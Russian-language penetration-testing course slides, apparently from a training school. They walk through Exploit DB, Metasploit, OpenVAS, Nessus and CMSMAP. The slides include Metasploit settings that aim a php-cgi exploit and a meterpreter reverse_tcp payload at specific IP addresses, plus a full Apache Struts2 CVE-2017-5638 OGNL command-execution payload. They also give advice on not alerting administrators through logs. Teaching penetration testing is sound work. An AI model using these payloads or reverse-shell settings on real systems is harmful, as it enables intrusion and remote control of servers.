Академический Документы
Профессиональный Документы
Культура Документы
1
некоторые фреймворки, CMS, а также техники их обнаружения и
эксплуатации.
WordPress 26,701,222
Joomla 2,009,717
Squarespace 1,390,307
Drupal 964,820
Blogger 758,571
Shopify 605,506
TYPO3 582,629
Magento 372,915
PrestaShop 262.342
Bitrix 200,210
3
Google 23,982,033
4
Exploit DB
Exploit DB (https://www.exploit-db.com/) - это огромная база эксплоитов
и уязвимого ПО, где можно найти практически все что нужно для
эксплуатации той или иной уязвимости.
5
▪ Date — дата публикации эксплоита
▪ D — загрузка файла эксплоита
▪ A — возможно ли загрузить уязвимое приложение
▪ V — проверен ли эксплоит
▪ Title — подпись эксплоита
▪ Type — тип эксплоита
▫ Remote Exploit
▫ Web Application
▫ Local and Prinvilege escalation
▫ PoC and DOS
▫ Shellcode
▫ Security papper
▫ Google hacking DB
▪ Platform — платформа, где можно применять эксплоит
▪ Author — автор эксплоита
6
Внутри эксплоита будет представлена все информация по нему.
7
Framework. Достаточно скопировать файл в директорию modules. Она
может находится например в:
▪ /opt/metasploit-framework/modules/exploits/
▪ /root/.msf4/modules/exploits/
▪ ~/.msf4/modules/exploits/
▪ /usr/share/metasploit-framework/data/exploits/
Скачиваем эксплоит:
8
Запускаем Metasploit и используем эксплоит:
9
Как мы видим, есть из чего выбрать.
10
openvas-start
11
Подробно останавливаться на тонкой настройке сканера мы не будем –
это заняло бы отдельный урок.
12
Нажимаем «Create» и кнопку «Play»:
13
В данном примере рассмотрим эксплуатацию уязвимости PHP-CGI-
based. Сканер коротко описывает суть уязвимости (When PHP is used in a
CGI-based setup (such as Apache's mod_cgid), the php-cgi receives a processed
query string parameter as command line arguments which allows command-line
switches, such as -s, -d or -c to be passed to the php-cgi binary, which can be
exploited to disclose source code and obtain arbitrary code execution.) , пишет,
какие версии программного обеспечения ей присущи, какие CVE ей
соответствуют и так далее. В данном случае пишет даже пример
проверки на ее наличие без сканирования:
14
Ключ «-s» вывел нам исходный код страницы – значит уязвимость
присутствует. Данную конфигурацию веб сервера вряд ли
посчастливится встретить в современном мире, но как пример – вполне
сгодится.
15
▪ set targeturi http://185.231.246.136:7777/cgi-bin/php - задаем
найденный сканером уязвимый путь
▪ set payload php/meterpreter/reverse_tcp – выбираем полезную
нагрузку «meterpreter»
▪ set lhost 185.231.245.55 – задаем адрес нашего сервера, куда будем
строить сессию
▪ set lport 31337 – порт на нашем сервере для приема нагрузки
▪ exploit – запускаем эксплойт
16
Эксплуатация уязвимостей Apache STRUTS2
Далее рассмотрим уязвимость посвежее. Речь пойдет о нашумевшей
атаке на фреймворк Apache STRUTS (CVE-2017-5638), позволяющей
удаленное выполнение команд на сервере через заголовок « Content-
Type».
17
На скриншоте выше изображен легитимный запрос к веб серверу.
Добавим заголовок Content-Type с пайлоадом, предлагаемым
сканером.
Payload:
Content-Type:: %{(#OpenVAS='multipart/form-
data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAcc
ess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork
2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensym
phony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().cle
ar()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))
).(#p=new
java.lang.ProcessBuilder({'id'})).(#p.redirectErrorStream(true)).(#process=#p.star
t()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutpu
tStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream()
,#ros)).(#ros.flush())}
18
Наблюдаем успешное выполнение команды «id».
19
На вкладке «Spider» видим происходящую активность:
20
зададим сканирование именно его, чтобы не терять времени (на
практике придется сканировать весь хост, если вы не знаете, где именно
таится уязвимость):
21
На вкладке «Response» - результат выполнения:
22
рассмотрим альтернативный вариант, если под рукой нет
дополнительных инструментов, кроме стандартной командной строки
Linux. Для этого сформируем следующий запрос:
23
Наблюдаем результат выполнения команды «id». Аналогичным
способом можем выполнять любые команды на сервере, в том числе и
сделать back connect на свой сервер для более комфортной работы без
curl.
NESSUS
Как альтернативу openvas, можно использовать сканер NESSUS. Он
является платным, но у него есть и бесплатная версия. Для того, чтобы
получить ее, проделайте следующие шаги:
1. Пройдите по ссылке: https://www.tenable.com/downloads/nessus
24
2. Получаем активационный код.
3. Выбираем бесплатную версию и проходим простую регистрацию
25
4. Далее качаем нужную версию дистрибутива. Для Kali выбираем
варианты Debian дистрибутивов. В некоторых дистрибутивах Linux
NESSUS есть в официальных репозиториях, поэтому стоит сначала
посмотреть там.
26
5. После установки NESSUS запускается как веб сервис,
автоматически открыв браузер, где вам будет предложено
завести нового пользователя. В дальнейшем для запуска
используйте команду nessusd start
27
А веб панель будет доступна по адресу https://127.0.0.1:8834/
28
После авторизации вам будет доступен сканер:
29
Все, что доступно, представлено без надписи «upgrade». На февраль
2019 выглядит так:
30
Поле name нужно только для идентификации сканирования в будущем.
Задайте произвольное имя. Поле description так же является лишь
информационным. Его можно не заполнять. В поле targets введем IP
адрес цели сканирования. Помимо этого, в поле можно заносить как
диапазоны IP адресов, так и доменные имена цели. Но не забываем, что
в бесплатной версии за раз можно сканировать до 16 IP адресов.
31
▪ Common ports — это дефолтные настройки по умолчанию. Самые
популярные, по мнению разработчиков.
▪ All ports — название говорит само за себя. Будут просканированы
все порты.
▪ Custom — это наш вариант. Настраиваем вручную.
32
Переходим во вкладку Port Scanning и выставляем в графе Port scan
range нужный нам порт 8009. Все остальные настройки можно оставить
по умолчанию. Напоминаем, что это мы делаем только для конкретного
случая. В дальнейшем нет нужды менять здесь какие-либо настройки, а
просто выбрать вариант common ports.
33
Тут на выбор дается 4 варианта:
34
CMSMAP
Еще один сканер, который поможет находить слабые места в
безопасности популярных cms.
Рассмотри функционал:
35
Параметры включают в себя как блок сканирование на уязвимости
основных cms ( WordPress, Joomla, Drupal, Moodle), так и блок для
брутфорса и постэксплуатации.
36
cmsmap определил тип и версию целевой cms, а так же произвел ряд
стандартных проверок заголовков и наличие файлов robots или sitemap.
37
В заключение
При тестировании на проникновение очень важным моментом является
определение версии программного обеспечения, установленного на
атакуемой цели. Системные администраторы зачастую пренебрегают
своевременным обновлением и не следят за выходом новых
уязвимостей к присутствующим в инфраструктуре сервисам. Используя
сканер, будьте осторожны, так как результатом будет большое
количество событий в лог файлах, что может привлечь бдительность
администратора и помешать успешной эксплуатации. Так же стоит
учитывать, что сканер, при проверке нагрузок, может вызвать отказ в
обслуживании того или иного сервиса или привести к перезагрузке
всего сервера.
Служба Поддержки
school@codeby.net
38